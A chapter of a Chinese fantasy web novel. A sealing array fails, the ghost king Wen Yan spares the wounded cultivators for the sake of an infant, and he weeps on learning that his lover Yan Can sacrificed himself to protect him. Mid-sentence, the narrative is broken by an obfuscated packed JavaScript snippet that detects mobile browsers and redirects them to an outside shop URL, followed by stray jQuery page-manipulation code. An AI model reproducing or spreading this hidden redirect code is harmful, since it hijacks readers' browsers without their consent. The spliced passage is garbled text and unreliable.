战斗愈发艰难,方月的结界彻底碎裂,李勐被数具走尸围攻,身上又添数道深伤,林风拼死护在周灿阳身后,却也渐渐力不从心。
玄烬抱着阿愿,衣襟早已被鲜血浸透,手臂上的伤口被阴邪之气侵染,泛着诡异的黑青,可他依旧没有退缩,红纸钱一次次扬起,硬生生在阵眼旁筑起一道强劲的防线。
“坚持住!阵法只差最后一步!”玄清咬着牙,嘴角不断溢出鲜血,双手结印的速度越来越快,周身灵力疯狂涌动,尽数注入身前的灵剑之中。宁时、韩承旭、周灿阳也拼尽最后一丝力气,灵力源源不断地输送进他们所负责的信物之中,阵法的白光越来越亮,渐渐压过了周遭的阴邪黑雾,将整片空地照亮。
“成了!”周灿阳大喊一声,眼中迸发出光亮。
随着最后一缕灵力注入,阵眼中的信物发出耀眼的白光,四道白光交织成网,彻底笼罩了整个空地。阵法成型,守阵的四人瞬间挣脱了阵法的束缚,灵力虽有损耗,却终于可以加入战斗。
宁时几乎是第一时间冲了出去,身形一闪便挡在了玄烬身前,手中凝聚灵力化为一把灵剑,狠狠挥向围攻而来的走尸。
玄烬看着挡在自己身前的背影,却没有退缩,他将阿愿背在身后,一道道凌厉的黑气从掌中发出,击向那些靠近的走尸。
周灿阳从腰间抽出那把从锁魂崖上寻得的铁锁长鞭,配合着他掌心雷的能力,每一鞭挥出都带着一阵电闪雷鸣,瞬间击倒一片走尸。
韩承旭目光一沉,身形掠出,三叉戟于身前不断旋转,而后爆发出一阵强劲的气力,将那些靠近法阵的走尸震飞。
有了几人的加入战局瞬间逆转,原本疯狂的走尸节节败退,走尸的嘶吼声渐渐微弱,周遭的阴邪黑雾也在阵法白光的净化下一点点消散。
就在众人以为胜利在望时,一直魔宫前方的闻棪却突然动了。
他缓缓抬起头,目光死死锁住阵法正前方的莹白灵剑,空洞的眼神中渐渐有了一丝清明,像是突然想起了什么,周身的阴邪之气微微波动,脚步缓慢而沉重地朝着那把剑走了过去。
所有人都瞬间屏住了呼吸,停下了手中的动作,目光紧紧盯着闻棪的身影。林风低声道:“他要干什么?”
周灿阳也收起了嬉闹的神色,眉头一挑:“这老小子看来是要自投罗网了!”
众人的心都提到了嗓子眼,看着闻棪一步步走进阵法之中,期待着封印生效的那一刻。
一步、两步、三步……
直到闻棪整个人都踏入了阵法之中,却是什么都没有发生。
阵法的白光依旧耀眼,却没有对闻棪产生丝毫束缚,更没有发起攻击。闻棪径直走到那把莹白灵剑之前,眼神复杂。
下一秒,闻棪伸出手,轻轻握住了灵剑的剑柄,指尖抚过剑身上熟悉的纹路,动作轻柔得像是在触碰稀世珍宝。
众人彻底懵了,脸上满是震惊与不解。
阵法明明已经成型,为什么没能封印鬼王?他为什么能安然握住那把灵剑?
不等众人反应过来,闻棪猛地抬手,将插在阵眼凹槽中的灵剑狠狠拔了出来!
“轰!”
一声巨响,灵剑被拔出的瞬间阵法瞬间崩塌,强大的灵力冲击席卷全场,白光与阴邪黑雾剧烈碰撞,产生的冲击波将在场所有人都狠狠掀飞出去。众人闷哼一声,一口鲜血喷涌而出,重重摔在地上,浑身经脉剧痛,灵力尽失,连抬手的力气都没有,尽数重伤倒地。
玄清摔在地上,道袍被鲜血浸透,看着被闻棪握在手中的灵剑,眼中满是不甘与疑惑。宁时挣扎着想要爬起来,却浑身无力,只能死死盯着玄烬的方向,生怕他受到伤害。玄烬抱着阿愿,被冲击波撞得胸口剧痛,却依旧死死护住怀中的婴孩,红衣上的血污愈发浓重。
闻棪握着灵剑站在原地,周身没有丝毫阴邪之气,也没有丝毫暴戾,只有一片死寂的茫然。他看都没看倒地的众人,提着剑,漫无目的地朝着前方走去。
他的步伐缓慢而沉重,像是一具失去灵魂的躯壳,背影孤寂而悲凉。
而就在他走过玄烬身边时,玄烬怀中的阿愿突然睁开了乌溜溜的眼睛,看着闻棪的背影,竟咯咯地笑了起来。
那笑声清脆而稚嫩,像山间的清泉打破了这片死寂,也让闻棪的脚步瞬间停了下来。
他缓缓转过身,目光落在玄烬怀中的阿愿身上。阿愿依旧咯咯地笑着,小小的手挥舞着,没有丝毫恐惧,反而带着一丝好奇,直直地看着他,眼底满是纯粹。
玄烬大惊失色,警惕地将阿愿紧紧抱在怀里,目光盯着闻棪。
可是闻棪并未发难,只见他周身最后一丝冰冷彻底消散,空洞的眼神中渐渐有了一丝光亮,一丝温柔,还有一丝不易察觉的动容。他缓缓迈开脚步走到玄烬面前,蹲下身,动作轻柔得像是怕吓到这个小小的孩子,指尖轻轻抚过阿愿的脸颊,声音沙哑而温柔:“好孩子……”
阿愿没有躲闪,反而伸出小小的手抓住了他的指尖,笑得更加开心了,小小的身子微微晃动,就连那朱砂点缀的夸张的红脸蛋都显得可爱至极。
闻棪看着阿愿纯真的笑容,眼底的茫然渐渐散去,他缓缓抬起头,看向躺在地上浑身是伤的玄烬,语气带着一丝不易察觉的温和:“这孩子,是你养的?”
玄烬依旧警惕,他不知道闻棪想做什么,但是本能地感觉闻棪对自己和阿愿并没有杀意,声音微弱地答道:“是……是我养的。”
闻棪轻轻点了点头,指尖轻轻揉了揉阿愿的头顶,语气郑重:“你养的话,就好好养着他,好好保护他。”他顿了顿,目光扫过倒地的众人,声音平静无波,“我不杀你们,都是因为这个孩子。”
说完,他站起身,提起剑,继续往前走去,仿佛这场厮杀,这场阵法,都与他无关。
“等等!”
宁时拼尽全身力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336677|187670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气大喊出声,他挣扎着想要抬起头,看着闻棪的背影眼底满是急切。
他不能让闻棪就这么走了,不能让他带着误解孤独地活下去。
闻棪的脚步再次停下,缓他缓转过身看向宁时,眼神中带着一丝不耐烦:“你还有什么事?”
宁时喘着粗气,胸口的剧痛让他几乎无法呼吸,却依旧一字一句,艰难地说道:“闻棪……你,不是被封印在这里的。”
闻棪的身体瞬间僵住,空洞的眼神中闪过一丝震惊,他死死地盯着宁时,声音沙哑:“你说什么?”
“是晏参,”宁时咬着牙,将当年的真相缓缓道来,“当年你身受重伤,魂飞魄散在即,晏参为了温养你的残魂,将你送入井底温养。而他不惜以自己的全身修为和精血为引,化作一道符咒,镇压住井底的寒气,不让你虚弱的残魂收到寒气的伤害。”
“他从来没有想过要封印你,从来没有想过要囚禁你,他只是想护你周全,只是想给你一个机会,让你千年后得以重返人间,去过自己想要的生活。晏参他……非常爱你,他到最后,都在期待着和你重逢。”
这番话像一道惊雷狠狠劈在闻棪的头上,他浑身剧烈颤抖,手中的灵剑险些脱手,空洞的眼神中充满了不敢置信,泪水不自觉地从他的眼中流了出来,顺着脸颊缓缓滑落,晕开一小片湿痕。
他缓缓抬起手,看着手中的莹白灵剑,指尖轻轻抚摸着剑身上的纹路。
闻棪张了张嘴,声音沙哑得几乎听不清,带着一丝颤抖,一丝绝望,还有一丝卑微的期待:“那……晏参呢?他去哪里了?他为什么不来见我?”
玄烬看着闻棪崩溃的模样,心底满是共情的悲戚,他挣扎着,声音沙哑而微弱:“他……灵力耗尽,那张黄符纸……在被揭下的一瞬间就化为灰烬,消散在了空气中。”
“这千年来,他耗尽了自己所有的修为,耗尽了自己的精血,一直守着你,陪着你,在井底默默看着你,期待着你醒来,期待着和你重逢。他到最后,都没有一丝怨言,只愿你能平安醒来,能放下执念,好好地活下去。”
闻棪彻底崩溃了。
他猛地跪倒在地,双手紧紧抱着手中的灵剑,身体剧烈颤抖,压抑千年的哭声终于爆发出来。
沙哑、悲凉、撕心裂肺,响彻整个后山。
那哭声中,有悔恨,有委屈,有绝望,还有无尽的思念。他恨了千年,怨了千年,以为自己是被抛弃、被囚禁的人,可没想到,真相竟是这样。
是晏参用生命护了他千年,用自己的一切给了他新生的机会。
倒地的众人看着跪倒在地痛哭不止的闻棪皆是沉默不语。宁时看着他,眼底满是酸涩。
山间的风带着凉意吹过乱石岗,带着闻棪的哭声,带着众人的疲惫与悲凉,久久不散。重伤倒地的众人依旧毫无反抗之力,而沉睡千年的鬼王,手中紧紧握着那把承载着千年执念的灵剑,痛哭不已。